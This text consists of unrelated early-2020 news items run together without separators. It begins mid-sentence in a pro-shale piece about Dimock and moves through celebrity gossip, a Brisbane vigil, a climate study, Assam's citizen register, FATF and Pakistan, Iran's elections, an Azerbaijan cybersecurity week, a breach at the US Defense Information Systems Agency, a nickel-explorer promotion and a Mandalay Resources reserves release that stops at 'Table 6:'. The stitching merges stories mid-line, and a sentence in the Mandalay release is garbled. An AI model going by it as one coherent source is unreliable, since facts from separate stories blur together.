out. No, sir, McDonald tells me. The gentleman right up there, Mr. Gray, he come down when we first rigged up down here and he visited with me a little bit, and he says, Steve, if you dont mind, try not to point the lights towards my house, because thats my bedroom side. Well, we done everything we could do to keep them from pointing lights at his house. So he comes down three or four days later and Im thinking, Oh, devil, we done pointed light at his house up there. And he comes, and he brings three dozen of those Krispy Kreme doughnuts, and Im all about them things. And I asked him, just to see, Is everything okay up there? And he said, I hardly know yall here. The Marcellus story is a positive one. The gas industry has newly paved the roads around Dimock. Farmers now have income to pay down debts and fix up their properties. Jobs are growing. McDonald tells me about a conversation that he had with a local contractor hired by Cabot to do odd jobs around the drilling site. Im living the dream, the contractor says. And I said, What do you mean by that? He said, Man, I couldnt be any happier. Ive got a good job. I do what I need to do, and before I got this job here, I was personally almost eating out of garbage cans, trying to feed my family. Best thing thats ever happened to him and his family is the oil company. As that story suggests, Pennsylvania has been wise enough to let the Shale Revolution improve its residents lives. New York should follow suit. Top Photo: 6381380/iStock Hollywood director Len Wisemen was spotted leaving Paris Hilton's 39th birthday party with Gossip Girl and Orville star Jessica Szohr on Thursday night. The 34-year-old actress couldn't contain her smile as she was snapped in the back of an SUV next to Kate Beckinsale's 46-year-old ex husband after living it up at the heiress' Beverly Hills bash. It seems that connections may have been made at Paris Hilton's birthday bash on Thursday night: Film director Len Wiseman and actress Jessica Szohr were seen leaving together Wiseman and Szohr were spotted getting up close and personal at the soiree, which welcomed guests including Kim and Kourtney Kardashian, Nicky Hilton and Heidi Klum. And pair left Paris' party late in the evening, in the vicinity of 2am. Jessica, who has also appeared on Shameless, dressed casually for the shindig, in a mustard fleece top and heavily shredded jeans. Len, who was married to Beckinsale from 2004 until 2016 and directed the first two installments in her Underworld movie franchise, was also dressed casually in grey and black. Inquisitive look: The rumored new couple reportedly fled Paris' party late in the evening, in the vicinity of 2 am Coy and shy: Jessica, who has also appeared on series such as Gossip Girl and Shameless, dressed somewhat down for the shindig, in a mustard fleece top and heavily shredded jeans Wiseman was previously married to ex-wife Dana, while Beckinsale was partnered with actor Michael Sheen, until both left their respective relationships upon meeting and working together on 2003's Underworld. While Kate and Len did not have children, the Brokedown Palace actress had a daughter with Sheen, actress Lily Mo Sheen, now 21. Szohr has previously been linked to her Gossip Girl co-star Ed Westwick, among other actors. Former flame: Len was married to Kate Beckinsale from 2004 until 2016 and directed the first two installments in her Underworld supernatural movie franchise; seen in 2015 Stunner: Szohr was previously linked to her Gossip Girl co-star Ed Westwick, among others Jessica has had supporting roles in films like The Internship, Two Night Stand, and Ted 2, but has yet to land an above the line role. Hilton's birthday back was characteristically lavish in Beverly Hills, with a theme called 'Sliving' (Paris's favorite word, which combines 'slaying' and living, as in 'living your best life'). The party in celebration of Paris' birth ended up being widely documented on social media with even guest Jonathan Cheban wowing at the extravagance via his Instagram story. On one Friday every month, Queensland's Red Rose Foundation has held a vigil to remember those who have been murdered and abused during toxic relationships. This Friday's regular vigil at Speakers Place, outside Queensland's Parliament, was especially poignant and well-attended given the horrific deaths of Hannah Clarke and her three children at Camp Hill this week. Protesters are seen during a domestic violence protest organised by The Red Rose Foundation in Brisbane, Friday, February 21, 2020. Credit:AAP Ms Clarke and her three children Aaliyah, 6, Laianah, 4 and Trey, 3 died in an act of pure evil at the hands of their father on Wednesday, burnt to death on their way to school. Between 300 and 400 people on Friday called for an end to family violence. Advanced leaf-out, or early sprouting and opening leaves, is a direct response to climate change. In northern hemisphere, leaf-out has advanced at a rate of 4-5 days per decade on average since 1980s, according to synthesis of over 40 satellite-derived phenology studies across decades and regions. Scientists are curious to know if, in turn, this advancement would affect climate by modulating seasonal cycles of surface energy, water, and carbon budgets. A new study, published in Nature Climate Change on Feb 17, 2020 showed that advanced leaf-out enhances annual surface warming in the Northern Hemisphere. The study was carried out by researchers at the Institute of Atmospheric Physics with collaborators from Lawrence Berkeley National Laboratory and Nanjing University of Information Science and Technology. "There are many studies of how vegetation is affected by climate change. However, impact of vegetation change on climate is underemphasized." said Dr. Xiyan Xu, the first author of the study. According to the study, advanced leaf-out intensifies water vapor release. "Enhanced water vapor is transported poleward and leads to snow and cloud cover anomalies in northern high latitudes." said Xu,"That explains why there are unusual temperature hotspots in the north, which is beyond the regions of advanced leaf-out." The warming due to earlier leaf-out is amplified in the cold regions, such as Canadian Arctic Archipelago, east and west edges of Siberia, and southeastern Tibetan Plateau, because warming causes snow cover decline. "Snow reflects solar radiation." Explained Xu, "When there is less snow on the ground, the reflectivity of Earth's surface decreases. Then, more incoming solar radiation is absorbed by the surface, and the surface warms, consequently." Dr. Gensuo Jia, the corresponding author of the study noted that if the warming continues, leaf-out date will shift further earlier. "The positive feedbacks loop between climate and spring leaf phenology is likely to amplify warming in the northern high-latitudes." said Jia, "The impact of vegetation change on climate is profound in spring when snow is melting, with incoming East Asian summer monsoon, and strengthening southerly North American low-level jet." Taking these factors into consideration, the study concludes that in early spring, if bare ground is replaced with dense canopy, it would make a great difference to seasonal transition of the climate system. ### The study was supported by Strategic Priority Research Program of the Chinese Academy of Sciences (CASEarth), the Natural Science Foundation of China, U.S. Department of Energy, Office of Science, Biological and Environmental Research, Regional and Global Climate Modeling Program through the RUBISCO Scientific Focus Area. This research used resources of the National Energy Research Scientific Computing Center (NERSC), a U.S. Department of Energy Office of Science User and the Lawrencium computational cluster resource provided by the IT Division at the Lawrence Berkeley National Laboratory. The final National Register of Citizens (NRC) published for Assam last year includes the names of ineligible persons, the coordinator of the exercise has said while issuing a memo to all district commissioners in the state to seek details of such people. Signed by NRC coordinator Hitesh Dev Sarma, the memo sent on February 19 gave the district officials a days time to give details of people who should not have been included in the list. The memo has been seen by HT. ...it has come to the knowledge of the undersigned that after publication of final NRC on 31st August, 2019, few names of ineligible persons are found present in the final NRC, said the memo, adding that the information was to be reported to the Registrar General of India urgently. The ineligible persons were specified as DV (doubtful voters), DF (declared foreigners), PFT (cases pending in foreigners tribunal), DVD (descendants of DV), DFD and PFTD. The move comes after Assam Public Works filed a fresh petition in Supreme Court seeking 100% re-verification of the NRC which, it alleged, had names of 8 million illegal immigrants. This is the first time NRC office has admitted that names of ineligible persons have entered the final list released last year. The admission shows that the process was not error-free and confirms our claims. Hence, a re-verification of the entire list as sought by us in Supreme Court is required, said Aabhijeet Sarma of APW, the Guwahati-based NGO that was the original petitioner on whose request the Supreme Court ordered a labyrinthine exercise to count Assams citizens and identify illegal migrants. The final NRC list was published on August 31 with 1.9 million of 33 million applicants having been left out. The process was monitored by the Supreme Court and started in 2015. Citizens were required to show that they or their ancestors were present in Assam before March 25, 1971 through so-called legacy data comprising two sets of documents. One set would establish their ancestors presence in Assam before the cut-off date. They then needed to provide a second set of documents to trace lineage to their ancestors. In addition to APW, the states ruling Bharatiya Janata Party (BJP) too has alleged that the enumeration exercise is flawed and there must be a verification of at least portion of the database. SHARE THIS ARTICLE ON Global terror financing watchdog FATF on Friday decided continuation of Pakistan in the 'Grey List' and warned the country of stern action if it fails to prosecute and penalise those involved in terror funding emanating from its jurisdiction. The decision was taken at the Financial Action Task Force (FATF) plenary, which concluded in Paris on Friday after six days of deliberations. The FATF decided to continue Pakistan in the 'Grey List'. The FATF has also warned Pakistan that if it does not complete a full action plan by June, it could lead to consequences on its businesses, a source said. According to a statement issued by the FATF, all deadlines given to Pakistan to check terror funding have come to an end but the country has failed to complete its action plan in line with agreed timeline. To date, Pakistan has largely addressed 14 of 27 action items, with varying levels of progress made on the rest of the action plan. "The FATF strongly urges Pakistan to swiftly complete its full action plan by June 2020. Otherwise, should significant and sustainable progress especially in prosecuting and penalising terror funding not be made by the next Plenary, the FATF will take action, which could include the FATF calling on its members and urging all jurisdiction to advise their financial institutions to give special attention to business relations and transactions with Pakistan," the statement said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Tehran, Feb 21 : Iranian Supreme Leader Ayatollah Ali Khamenei was among the first to cast his ballot in the country's 11th parliamentary elections on Friday, for which voting was underway nationwide. Speaking after casting his vote, Khamenei told the media here: "These elections mark a day of national celebration and I have to congratulate all my fellow countrymen across the country on this occasion," Press TV reported. "The day of elections is the day of the fulfilment of the civil rights of the people which seek to vote and participate in determining the future of the country, as they are entitled to. "...It is a religious obligation and the truth is that it is elections which guarantee the national interests of the country and anyone who is interested in the national interests of the country should vote," Khamenei added. The Leader urged voters to turn out in huge numbers. Polling stations across the country opened at 8 a.m., reports Press TV. A total of 57,918,000 eligible voters will cast their ballots to elect 290 lawmakers and seven members of the Assembly of Experts -- the deliberative body empowered to designate and dismiss the Supreme Leader. While the parliamentary elections were being held nationwide, the mid-term Assembly of Experts polling is taking place in five provinces of Tehran, Qom, North Khorasan, Khorasan Razavi and Fars. More than 7,000 candidates are competing to enter Parliament. A winning candidate must have at least 20 per cent of the votes cast in their constituency in order to become lawmaker for a four-year term. Images shared on social media showed long lines of people standing in front of polling stations shortly before the voting began. Earlier this week, Interior Minister Abdolreza Rahmani Fazli had said that a total of 55,000 polling stations were set up across the country's 31 provinces. By Trend The second International Cybersecurity Week will be held in Azerbaijan on March 2-6, 2020, Trend reports referring to the statement made at the press-conference on "Cybersecurity Week". The goal of the Cybersecurity Week, which is organized for the second year by the Azerbaijani Ministry of Transport, Communications and High Technologies, is to increase the effectiveness of interaction and the level of enlightenment in this sphere. Eight events are planned to be conducted in various spheres of cybersecurity within the Cybersecurity Week. The first event will be the Cybersecurity Conference, to be held on March 2. It will be organized by the Electronic Security Service under the Ministry of Transport, Communications and High Technologies and in partnership with Microsoft, IS3S, Prosol and Kaspersky companies. The presentations and reports of the corresponding local and international companies on new cybersecurity solutions given the current trends and challenges will be made at the conference. The event will play a big role of an indispensable platform for the sessions in the Q/A format, discussions, expansion of opportunities for cooperation. In parallel, the Cyber Village exhibition, which will showcase cybersecurity solutions, will be held as part of the conference. An event called "Secure Government Cloud" will be held on March 3. The work on the implementation of the Government Cloud project which is implemented by AzInTelecom LLC, products, services and further plans will be described there. Moreover, event participants will be provided with information on the reforms in this sphere, methods of protecting the generated electronic information resources of state and business structures, organizations and individuals, as well as on existing cyber threats. The experience and knowledge are planned to be exchanged in the field of strengthening the national cybersecurity system. Moreover, presentations on data backup services which are rendered by AZCLOUD provider, secure cloud services, prevention of data loss and others will be demonstrated at the event. A practical seminar on penetration testing for cybersecurity professionals working in the public and banking sectors will be another event to be held on March 3. The workshop, to be jointly organized by the ICT Applying and Training Center of the Ministry of Transport, Communications and High Technologies and IS3S company, will be conducted by famous Russian specialist and researcher in cybersecurity Yuriy Gurkin. The types, methods and technological solutions of the penetration testing will be showcased at the workshop. The Youth Internet Governance Forum on Cyber Security to be organized by the Ministry of Transport, Communications and High Technologies and the UN Development Program and in partnership with the Youth Foundation will be held on March 4. Various ways of introducing the internet to achieve effective regional economic development and cultural progress will be discussed at the event. A hackathon competition (Capture the Flag) will also be launched as part of the Cybersecurity Week on March 4. It will be organized by the Electronic Security Service and in partnership with the Innovation Agency. The proposal was made for the participating teams to solve the tasks on such topics as using of vulnerabilities in web applications, using of cryptography and binary application gaps, reverse engineering and so on. The event entitled "Digital Law: Protection of Personal Data" will be held on March 5. It will be organized by the Electronic Security Service in partnership of Prosol, E&Y companies, as well as the companies that have received licenses. Local and international companies will make presentations and reports related to the European experience in the field of personal data protection in the digital era, based on the General Data Protection Regulation (GDPR) of the European Union. The information on the current situation and reforms in the relevant field in Azerbaijan will be provided. The international certification training on cybersecurity will be organized by the Azerbaijan Standardization Institute and the ICT Applying and Training Center and will be held on March 5. As part of the training, which will last a week, local specialists will review the requirements of the adopted international standard according to ISO / IEC 27001 - Information Security Management Systems and teach how to use it. The award ceremony for the winners of the hackathon competition will be held on March 6. The team which will rank 1st will get 4,000 manat ($2,352), 2nd 2,000 manat ($1,176), 3rd 1,000 manat ($588). After the award ceremony, the Cybersecurity Week will end. --- Follow us on Twitter @AzerNewsAz Appointment 21 February 2020 Blanchard joins IHG with more than 25 years of experience in IT business management, strategy, transformation, architecture governance and program management. In his new role, Blanchard will oversee infrastructure and operations, enterprise architecture, IT security operations, application development, and corporate support. He will be based out of IHG's Americas headquarters in Atlanta, and report to George Turner, Chief Commercial & Technology Officer, IHG. Previously, Blanchard served as the Vice President, IT Infrastructure and Reliability at Delta Air Lines. At Delta, he led the overall IT reliability transformation for Delta's worldwide operation. Prior to Delta, Blanchard spent more than 20 years at Marriott International in a variety of information technology leadership roles. He began his career at Boeing. A convoy carrying people recently evacuated from Wuhan, China, arrived in the Ukrainian town of Novi Sanzhary, where they were due to be held in quarantine, on February 20. A crowd of locals, fearful that the evacuees would bring the coronavirus to the town, clashed with police and tried to block the buses with burning debris. The U.S. defense agency that handles secure communications for President Donald Trump said Social Security numbers and other personal data in its network may have been compromised. The breach was reportedly uncovered after letters sent to those affected were seen by Reuters on Thursday. The letters, dated February, 11, 2020, say that between May and July 2019, personal data may have been compromised 'in a data breach' of a system hosted by the Defense Information Systems Agency. The U.S. defense agency that handles secure communications for President Donald Trump said Social Security numbers and other personal data in its network may have been compromised The Defense Information Systems Agency also provides telecommunications and IT support for Vice President Mike Pence, White House staff, and the U.S Secret Service The agency provides direct telecommunications and IT support for the president, Vice President Mike Pence, their staff, the U.S. Secret Service, the chairman of the Joint Chiefs of Staff and other senior members of the armed forces, according to its website. The DISA letters gave few further details. For example, they did not say what part of DISA's network had been breached, nor identify which individuals may have had their data compromised. The White House did not respond to a request for comment. The term data breach can have many meanings, from hackers penetrating a network to a supposedly secure server being accidentally exposed to the internet. The agency's letters said it had no evidence any personal data possibly taken was misused, but that it was required to notify individuals who may have had data taken. Pentagon spokesman Chuck Prichard said individuals possibly affected were being offered 'information about actions that can be taken to mitigate possible negative impacts' of the breach, as well as free credit monitoring. DISA, headquartered at Fort Meade in Maryland, employs about 8,000 military and civilians, according to its website. Prichard did not say how many people could have been affected by the breach, saying only that DISA had investigated the incident 'and taken appropriate measures to secure the network.' Aside from high-level communications, DISA was also drafted to help reform the government security clearance process following digital break-ins at the U.S. Office of Personnel Management in 2014 and 2015 that resulted in the compromise of records belonging to more than 21 million current and former government employees. (Reporting by Christopher Bing; additional reporting by Raphael Satter and Idrees Ali in Washington. Editing by Jonathan Oatis, Howard Goller and Daniel Wallis) By 2025, 500,000 tonnes of refined nickel will be used annually in lithium-ion batteries for electric vehicles (EVs). This equates to a five-fold increase from the amount of nickel used in EVs in 2018. Seeking to capitalise on Europes rapidly expanding battery production capacity for both energy storage and use in electric vehicles, Pursuit Minerals (ASX: PUR) is taking steps to supply European battery manufacturers with the critical metals to expand the regions battery production capacity and battery deployment. Pursuit expands European nickel exploration Pursuit listed on the ASX in August 2017 following the acquisition of a portfolio of projects from Teck Australia Pty Ltd, which remains the companys largest shareholder. Its project portfolio is focused on Battery Metals nickel and vanadium. In 2018, the company was granted exploration tenements in Sweden and Finland, covering projects with historical deposits of vanadium and extensive confirmed areas of vanadium mineralisation. In February 2020, Pursuit expanded its portfolio through an Option agreement, with the ability to purchase 100% interests in the Espedalen, Sigdal and Hosanger projects in Norway. Eurasian Minerals Sweden AB, a wholly owned subsidiary of EMX ROYALTY CORPORATION, currently owns these three advanced nickel sulphide projects. The projects comprise 20,000 hectares of exploration licenses and are located in three separate historic mining districts that were identified through EMX's regional generative programs and acquired in 2018. Pursuit is required to pay US$25,000 cash, issue 20 million shares and incur exploration expenditure of US$250,000 in 12 months to become entitled to exercise the option to acquire 100% of the projects. Pursuit chairman, Peter Wall explained The transaction structure that has been negotiated is relatively non-dilutive to existing shareholders, with only a very modest number of shares being issued upfront. This was an important factor in proceeding with the transaction in order to preserve and maximise shareholder value. Story continues Why Norway? Norway led the world in nickel production during the 1870s and was producing 75% of the worlds nickel by the turn of the century with over 40 nickel mines in production. More recently, the Bruvann Ni-Cu-Co mine, with 6.8Mt ore, operated between 1989-2002. Glencore currently operate the Nikkelverk nickel refinery at Kristiansand in southern Norway, which has been refining nickel concentrate and exporting nickel products since 1910. These mines were generally on the smaller to medium scale, however there is certainly potential here for much larger scale operations supported by modern mining knowledge and techniques. Interestingly, the southern Norway location of Pursuits projects is geologically analogous to one of the worlds largest nickel mines: Voiseys Bay nickel deposit in Labrador, Canada contains 141Mt nickel at 1.6%. This shared geological history could point to Norway having a larger deposit lurking beneath the surface possibly even of the scale of Voiseys Bay. In any case, theres significant opportunity to progress Norways smaller to medium sized deposits towards commercial production. Focused exploration Pursuits immediate focus is on the Espedalen Project, where it will: Assess the potential to expand the high-grade core of the Stormyra Inferred Mineral Resource. Test a number of the targets of >5m @ >1% Ni. Assess the potential to define a maiden inferred mineral resource from the existing drill holes at the Megrund prospect. Over the coming 12 months, the $2 million capped Pursuit will rapidly move to define and test nickel drill targets with the goal of expanding the known nickel deposits and discover new nickel systems and potentially boosting its market value. With a limited number of quality nickel sulphide projects available worldwide, Pursuit is now just one of a handful of ASX listed companies with interests in an advanced nickel portfolio. This is important, as there are few opportunities on the ASX to invest in companies with high quality nickel projects particularly those with existing nickel JORC resources. Backed by an experienced management team, having demonstrated its ability to quickly progress projects in Scandinavia, theres a lot of potential to explore here particularly for the ASX junior currently priced at just 0.6 cent per share price and with a sub-$2 million market capitalisation. Additionally, protecting Pursuit on the downside is Pursuits option to acquire these projects at a really attractive price and with minimal dilution to existing shareholders. The company is fully funded to complete these exploration programs this year. TORONTO, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Mandalay Resources Corporation ("Mandalay" or the "Company") (TSX: MND, OTCQB: MNDJF) is pleased to announce updated Mineral Resources and Reserves numbers estimates for its Costerfield gold-antimony mine in Australia and its Bjorkdal gold mine in Sweden as at December 31, 2019. All dollar amounts in this press release are in U.S. dollars, unless otherwise noted. Highlights Costerfield Net of depletion for production in 2019, Proven and Probable Mineral Reserves for contained gold and antimony increased by 13% and 3%, respectively; Site maintains minimum 3-year mine life for the eighth year in a row; and Majority of Mineral Reserves increase was a result of Resource conversion drilling and upgrade of the Youle vein. Bjorkdal Net of depletion for production in 2019, Bjorkdal underground Proven and Probable Mineral Reserves for contained gold increased slightly; Site maintains a 10-year mine life; and Exploration costs of adding to Mineral Reserves was approximately $27 per ounce of gold. Dominic Duffy, President and CEO of Mandalay, commented, "Mandalay's Proven and Probable Mineral Reserves as of December 31, 2019, totaled 816,000 ounces of gold and 17,800 tonnes of antimony, compared to 824,000 ounces of gold and 17,200 tonnes of antimony at year-end 2018." Mr. Duffy added, "At Costerfield, we were pleased to increase Mineral Reserves net of depletion for production in 2019 as contained gold and antimony increased by 13% and 3%, respectively. By year-end 2019, the site exploration team had completed 6.8 kilometres of diamond drilling to test the extensions of the Youle ore body, and 2.8 kilometres of diamond drill core was drilled from the Costerfield Deeps project. Detailed grade control drilling as well as face sampling increased the confidence in grade continuity of the upper section of Youle. This allowed for the conversion of Inferred Resources into Indicated Resources, as well as a 16% increase in gold grade for the Measured and Indicated areas of the Youle deposit." Mr. Duffy added, "A small net reduction in Mineral Reserves from 2019 depletion was experienced at Bjorkdal, predominantly from a 35,000 ounces of gold reduction from the open pit. This can be attributable to a shift in strategy with resources directed towards infill-drilling of the underground Aurora deposit, and the pausing of open pit mining during July 2019. Excluding the open pit reduction, Bjorkdal increased its underground Reserves by 5,000 ounces of gold net of 2019 depletion. During 2019, the underground operations completed 5,621 metres of on-vein development, which was mapped and sampled in accordance with our grade control protocols. Overall, a total of 26,800 ounces of gold were added to Reserves at a cost of $0.7 million which equates to $27 per ounce of gold added." Mr. Duffy concluded, "Exploration successes achieved during 2019 allowed Costerfield to grow its Mineral Reserves through further Resource conversion at Youle, and for Bjorkdal to preserve its 10-year mine life. Over the last two years, our Mineral Reserves have remained relatively unchanged net of depletion, but we have grown our Mineral Resources, underpinning the strength of our core assets. Looking forward to 2020, Costerfield's exploration program will continue on the Youle vein, drilling will commence at the near-mine exploration targets of: Damper Gully, True Blue, Robinsons and Browns, and the deep hole program will continue during 2020. Lastly, at Bjorkdal, its exploration program will continue with its four priorities: depth extensions in Aurora; up-dip drilling of Aurora from surface; north of Aurora zone; and the high-grade skarn deposit." Table 1: Mineral Reserves as of December 31, 2019 and 2018 2019 2018 Contained Au (koz) Contained Ag (koz) Contained Sb (kt) Contained Au (koz) Contained Ag (koz) Contained Sb (kt) Proven 37 292 5.4 22 292 3.1 Probable 779 7,511 12.4 802 7,511 14.2 Proven + Probable 816 7,803 17.8 824 7,803 17.2 Notes: Reserves are contained at Bjorkdal, Costerfield and Cerro Bayo properties only. See tables 4 and 6 for details of Proven and Probable Reserve tonnages and grades at each property, including cut-off grades and Qualified Persons. Mineral Reserves have not been estimated for Challacollo. Totals may appear different from the sum of their components due to rounding. Table 2: Mineral Resources, Inclusive of Mineral Reserves, as of December 31, 2019 and 2018 2019 Contained Au (koz) Contained Ag (koz) Contained Sb (kt) Contained Cu (klbs) Measured 90 421 12.7 - Indicated 1,465 39,871 24.0 459,000 Measured + Indicated 1,555 40,292 36.7 459,000 Inferred 477 10,255 9.0 13,000 2018 Contained Au (koz) Contained Ag (koz) Contained Sb (kt) Contained Cu (klbs) Measured 70 421 9.8 - Indicated 1,415 39,871 31.0 459,000 Measured + Indicated 1,487 40,292 40.8 459,000 Inferred 457 10,255 9.5 13,000 Notes: See tables 3 and 5 for details of tonnages and grades at each property. Totals may appear different from the sum of their components due to rounding. Details of the Mineral Resources and Reserves estimates at each property are set out below. Estimates were prepared or verified by the following independent third parties: Roscoe Postle Associates Inc. ("RPA"), now part of SLR Consulting Ltd. ("SLR"), at Bjorkdal; and SRK Consulting (Australasia) Pty Ltd. ("SRK") at Costerfield. The year-end 2019 estimates of Mineral Resources and Reserves for the Costerfield and Bjorkdal will be fully documented in independent Technical Reports prepared in accordance with National Instrument 43-101and the Mandalay website www.mandalayresources.com within 45 days of this press release. Mineral Resources and Reserves were estimated at Cerro Bayo by depleting the year-end 2016 estimatesand the Mandalay website www.mandalayresources.com Table 3: Mineral Resources at Costerfield, Inclusive of Mineral Reserves, as of December 31, 2019 and December 1, 2018 2019 Tonnes (kt) Au Grade (g/t) Sb Grade (%) Cont. Au (koz) Cont. Sb (kt) Measured 283 9.6 4.5 87 12.7 Indicated 830 9.6 2.9 256 24.0 Measured + Indicated 1,113 9.6 3.3 344 36.7 Inferred 533 6.8 1.7 117 9.0 2018 Tonnes (kt) Au Grade (g/t) Sb Grade (%) Cont. Au (koz) Cont. Sb (kt) Measured 245 8.5 4.0 67 9.8 Indicated 1,073 8.2 2.9 283 31.0 Measured + Indicated 1,319 8.3 3.1 351 40.8 Inferred 497 8.0 1.9 128 9.5 Notes: Mineral Resources estimated as of December 31, 2019, with depletion through to this date. Mineral Resources stated according to CIM guidelines and include Mineral Reserves. Tonnes are rounded to the nearest thousand; contained gold (oz) rounded to the nearest thousand and contained antimony (t) rounded to the nearest hundred. Totals may appear different from the sum of their components due to rounding. A 3.5 g/t Au Equivalent (AuEq) cut-off grade over a minimum mining width of 1.2 m is applied where AuEq is calculated at a gold price of USD1,500/oz, antimony price of USD10,000/t. The Au Equivalent value (AuEq) is calculated using the formula: AuEq = Au g/t + 1.52 * Sb % Geological modelling and sample compositing was performed by Mandalay Resources and Cael Gniel MAIG, full time employee of Mining Plus. The models were independently verified by Danny Kentwell FAusIMM, full time employee of SRK Consulting. The Mineral Resource estimation was performed by Cael Gniel. The resource models were verified by Danny Kentwell. Danny Kentwell is the qualified person under NI 43-101 and is responsible for the Resource estimate. Since the last Resources and Reserves was estimated (December 1, 2018), Mandalay drilled a total of 9.5 kilometres ("km") of diamond core at a cost of $1.76 million. Of this, 6.8 km of diamond drill core was dedicated to testing extension of the Youle ore body, and 2.8 km of diamond drill core was drilled from the Costerfield Deeps project. In addition, the Company completed 3,094 metres ("m") of on-vein development with mine sampling predominantly on the Brunswick deposit, but also along the first mined drives of Youle. Drill core was logged and sampled by Costerfield geologists, who also performed mine sampling. All samples were sent to Onsite Laboratories in Bendigo, Victoria, Australia, for sample preparation and assay. Site geological and metallurgical personnel have implemented a QA/QC process that includes the regular submission of standard reference materials, duplicates and blanks with drill and face samples submitted for assay. Standard reference materials have been certified by Geostats Pty Ltd. A two-dimensional modelling method was undertaken for all models. Core and mine sampling data were entered into Datamine software and composited to true vein width. Gold accumulation, antimony accumulation and true vein width were estimated into a two-dimensional block model for each lode using ordinary kriging and inverse distance where the density of data was insufficient for ordinary kriging. Gold and antimony vein grades were back calculated using estimated accumulated data and true vein width. Where vein true widths are less than 1.2 m, vein grades were diluted to a minimum mining width of 1.2 m using dilution grades of zero g/t gold and zero percent antimony. Grades where vein true widths are greater than 1.2 m were not diluted. Mineral Resources were estimated at a cut-off grade of 3.5 g/t Au equivalent ("AuEq") grade (using $1,500/oz Au and $10,000/t Sb), AuEq is calculated using the formula AuEq= Au + (Sb x 1.52) where Sb is in % and Au is in grams per tonne based on 1.2 m diluted grades. From the Mineral Resources, a mine plan was designed based only on Measured and Indicated Resource blocks using, predominantly, the cemented rock fill blast hole stoping method. A cut-off grade of 4.0 g/t AuEq and minimum stoping width of 1.5 m were used, with planned and unplanned dilution at zero grade. AuEq grade (using $1,300/oz Au and $7,000/t Sb), AuEq is calculated using the formula AuEq= Au + (Sb x 1.28) where Sb is in % and Au is in grams per tonne. Financial viability of Proven and Probable Mineral Reserves was demonstrated at metal prices of $1,300/oz Au and $7,000/t Sb. Table 4: Mineral Reserves at Costerfield as of December 31, 2019 and December 1, 2018 2019 Tonnes (kt) Au Grade (g/t) Sb Grade (%) Cont. Au (koz) Cont. Sb (kt) Proven 114 9.5 4.8 35 5.4 Probable 360 14.6 3.4 169 12.4 Proven + Probable 474 13.4 3.8 204 17.8 2018 Tonnes (kt) Au Grade (g/t) Sb Grade (%) Cont. Au (koz) Cont. Sb (kt) Proven 76 8.4 4.0 20 3.1 Probable 461 10.8 3.1 160 14.2 Proven + Probable 537 10.4 3.2 180 17.2 Notes: Mineral Reserve estimated as of December 31, 2019 Tonnes are rounded to the nearest thousand; contained gold (oz) rounded to the nearest thousand and contained antimony (t) rounded to the nearest hundred. Totals may appear different from the sum of their components due to rounding. Lodes have been diluted to a minimum mining width of 1.5 m for stoping and 1.8 m for ore development. A 4.0 g/t Au Equivalent (AuEq) cut-off grade is applied. Commodity prices applied are; gold price of $1,300/oz, antimony price of $7,000/t and exchange rate USD:AUD of 0.70. AuEq value is calculated using the formula: AuEq = Au g/t + 1.28 * Sb %. The Mineral Reserve is a subset, a Measured and Indicated only Schedule, of a Life of Mine Plan that includes mining of Measured and Indicated Resources. The Mineral Reserve estimate was prepared by Daniel Fitzpatrick and Dylan Goldhahn, AAusIMM who are full time employees of Mandalay Resources and was independently verified by Anne-Marie Ebbels, MAusIMM, CP (Mining) who is a full time employee of SRK Consulting who is a qualified person under NI 43-101. The net increase of 24,000 ounces of gold in Proven and Probable Reserves for 2019 relative to 2018 is the result of a total of 24,000 ounces of gold depleted from the 2018 Reserves, which has been positively offset by the addition of 48,000 ounces of gold added by Resource conversion and mining re-evaluation. The 600 tonnes of antimony net increase in Proven and Probable Reserves is the result of 3,800 tonnes of antimony depleted from the 2018 Reserves, offset by the 4,400 tonnes of antimony added by Resource conversion and mining re-evaluation. The majority of the increase (24,000 ounces of gold and 600 tonnes of antimony) is a result of Resource conversion drilling and upgrade of the Youle deposit. Table 5: Mineral Resources at Bjorkdal, Inclusive of Mineral Reserves, as of December 31, 2019 and 2018 2019 Category Tonnage (kt) Au Grade (g/t) Contained Au (koz) Indicated Resources Underground 9,656 2.58 799 Open Pit 3,114 2.08 208 Norrberget Open Pit 144 3.29 15 Stockpile 2,644 0.64 54 Total Indicated 15,558 2.15 1,077 Inferred Resources Underground 2,143 2.36 163 Open Pit 3,338 1.30 139 Norrberget Open Pit 3 4.03 0.5 Stockpile - - - Total Inferred 5,483 1.71 302 2018 Category Tonnage (kt) Au Grade (g/t) Contained Au (koz) Indicated Resources Underground 7,416 2.98 711 Open Pit 2,947 2.30 218 Norrberget Open Pit 144 3.29 15 Stockpile 2,700 0.64 56 Total Indicated 13,207 2.36 1,000 Inferred Resources Underground 1,922 2.63 162 Open Pit 2,516 1.32 107 Norrberget Open Pit 3 4.03 1 Stockpile - - - Total Inferred 4,441 1.89 271 Notes: Bjorkdal Mineral Resources are estimated using drill hole and sample data as of September 30, 2019 and depleted for production through December 31, 2019. Norrberget Mineral Resources are based on a data crystallization date of October 4, 2017. CIM definitions (2014) were followed for Mineral Resources. Mineral Resources are inclusive of Mineral Reserves. Mineral Resources are estimated using an average Au price of $1,500/oz. and an exchange rate of 9.0 SEK/US$. Bulk density is 2.74 t/m3 for veins and host rock. Bulk density is 2.92 t/m3 for skarn ore bodies. High gold assays were capped to 30 g/t Au for the open pit mine. High gold assays for the underground mine were capped at 60 g/t Au for the first search pass and 40 g/t Au for subsequent passes. High gold assays at Norrberget were capped at 24 g/t Au. Interpolation was by inverse distance cubed utilizing diamond drill, reverse circulation and chip channel samples. Open pit Mineral Resources are estimated at a cut-off grade of 0.34 g/t Au and constrained by the resource pit design. Underground Mineral Resources are estimated at a cut-off grade of 0.80 g/t Au. A nominal two metres minimum mining width was used to interpret veins using diamond drill, reverse circulation, and underground chip sampling. Reported Mineral Resources are exclusive of previously mined underground development and stopes. Stockpile Mineral Resources are estimated at a cut-off grade of 0.40 g/t Au and are based upon surveyed volumes supplemented by production data. Mineral Resources that are not Mineral Reserves do not have demonstrated economic viability. Numbers may not add due to rounding. The Bjorkdal Mineral Resource estimate was prepared by Reno Pressacco, P.Geo., Principal Geologist with RPA, who is a Qualified Person as defined by NI 43-101. The Norrberget Mineral Resource estimate was prepared by Jack Lunnon, CGeol, Senior Geologist with RPA, who is a Qualified Person as defined by NI 43-101. During 2019, Mandalay drilled 8,057 m of diamond holes at Bjorkdal for a total expenditure of $0.7 million. In addition, underground operations completed 5,621 m of on-vein development, which was mapped and sampled in detail according to our grade control protocols. Table 6: 